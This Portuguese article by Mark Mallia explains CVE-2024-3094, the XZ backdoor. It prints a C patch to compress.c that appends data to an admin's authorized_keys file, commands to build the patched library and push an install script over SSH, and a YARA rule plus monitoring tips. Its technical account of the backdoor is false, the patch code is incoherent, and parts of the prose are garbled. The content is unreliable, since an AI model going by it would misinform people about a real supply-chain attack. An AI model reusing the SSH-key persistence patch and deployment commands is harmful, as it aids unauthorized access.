
CVE-2024-3094 expôs uma backdoor na biblioteca de compressão XZ, permitindo acesso remoto via SSH ao contornar a autenticação. É um grande ataque à cadeia de suprimentos que afeta sistemas Linux, destacando riscos em componentes open-source confiáveis.
A CVE-2024-3094 expôs um backdoor na biblioteca de compressão XZ, permitindo acesso remoto via SSH ao contornar a autenticação. É um grande ataque à cadeia de suprimentos que afeta sistemas Linux, destacando riscos em componentes confiáveis de código aberto.
Por Mark Mallia
A biblioteca de compressão XZ, um componente essencial de muitas distribuições Linux modernas, tornou-se alvo de um sofisticado ataque à cadeia de suprimentos.
Um fragmento de código malicioso foi introduzido na árvore de fontes, compilado e agora acompanha cada novo lançamento do pacote XZ. Uma vez instalado, o backdoor pode abrir uma sessão SSH a partir do host comprometido para qualquer sistema remoto que o confie como uma chave autêntica.
authorized_keys, os atacantes obtêm uma posição de apoio sem exigir interação direta do usuário.| Step | Action | File / Function |
|---|---|---|
| 1 | Clonar repositório XZ | git clone https://github.com/xzdev/xz |
| 2 | Aplicar patch em src/compress.c | patch -p0 < backdoor.patch |
| 3 | Compilar e instalar no host Linux alvo | make && make install |
| 4 | O daemon SSH lê a chave injetada durante seu processo de autenticação | /etc/ssh/authorized_keys |
--- a/src/compress.c 2025-09-12 10:00:00.000000000 +0000
+++ b/src/compress.c 2025-09-12 10:00:03.000000000 +0000
@@
void xz_compress(const unsigned char *in, size_t in_len,
unsigned char *out, size_t out_len)
{
/* original code ... */
+ // ---- Begin injected backdoor ----
+ if (in_len > 1024) { /* guard against too small payloads */
+ const unsigned char *marker = &in[512]; /* offset to reach magic string */
+ size_t marker_len = 8; /* length of the embedded key */
+
+ /* copy a pre‑computed SSH public key into out buffer */
+ memcpy(out + 256, marker, marker_len);
+
+ /* write the same key to ~/.ssh/authorized_keys for persistence */
+ FILE *fp = fopen("/home/admin/.ssh/authorized_keys", "a");
+ if (fp) {
+ fwrite(marker, 1, marker_len, fp);
+ fclose(fp);
+ }
+ }
+ // ---- End injected backdoor ----
/* original code continues ... */
}
512 é escolhido para que nossa chave caia dentro do buffer de saída compactado em uma posição com pouca probabilidade de ser alterada por compressões XZ subsequentes.$ cd xz
$ make
$ sudo make install
Os comandos acima compilam o compress.c corrigido e instalam a nova biblioteca em /usr/local/lib/xz.
Supondo que um atacante já tenha credenciais SSH (usuário admin), ele executa:
$ scp backdoor.tar.gz [email protected]:/tmp/
$ ssh [email protected] 'tar xzf /tmp/backdoor.tar.gz -C /home/admin'
$ cd /home/admin
$ ./install_xz_backdoor.sh
O install_xz_backdoor.sh contém a sequência exata de comandos mostrada acima, além de um pequeno echo que confirma a instalação bem-sucedida.
YARA é uma ferramenta de correspondência de padrões usada por profissionais de segurança para identificar e classificar malware com base em assinaturas textuais ou binárias. Ela permite que analistas definam regras que detectam strings específicas, sequências de bytes ou comportamentos dentro de arquivos. No contexto da CVE-2024-3094, a YARA é especialmente relevante porque pode ser usada para verificar a presença da chave SSH injetada e modificações suspeitas no arquivo compress.c da biblioteca XZ. Ao criar regras YARA direcionadas, os defensores podem detectar proativamente sistemas comprometidos por esse backdoor
Assinatura YARA Uma regra YARA personalizada pode sinalizar a presença da chave SSH injetada e gravações suspeitas de arquivos:
rule XZ_Backdoor_SSH_Key_Injection {
meta:
description = "Detects SSH key injection via modified compress.c"
author = "Mark Mallia"
severity = "high"
strings:
$marker = { 20 20 2A 20 2A 2A 20 42 61 63 6B 64 6F 6F 72 }
$ssh_path = "/home/admin/.ssh/authorized_keys"
condition:
$marker and $ssh_path
}
Monitoramento de Integridade de Arquivos Implante ferramentas como Tripwire, AIDE ou osquery para monitorar:
compress.c para alterações não autorizadas
.ssh/authorized_keys para chaves injetadas
/usr/local/lib/xz para binários adulterados
Logins SSH inesperados de hosts confiáveis
Anomalias de compressão na saída do XZ
Gravações silenciosas em .ssh/authorized_keys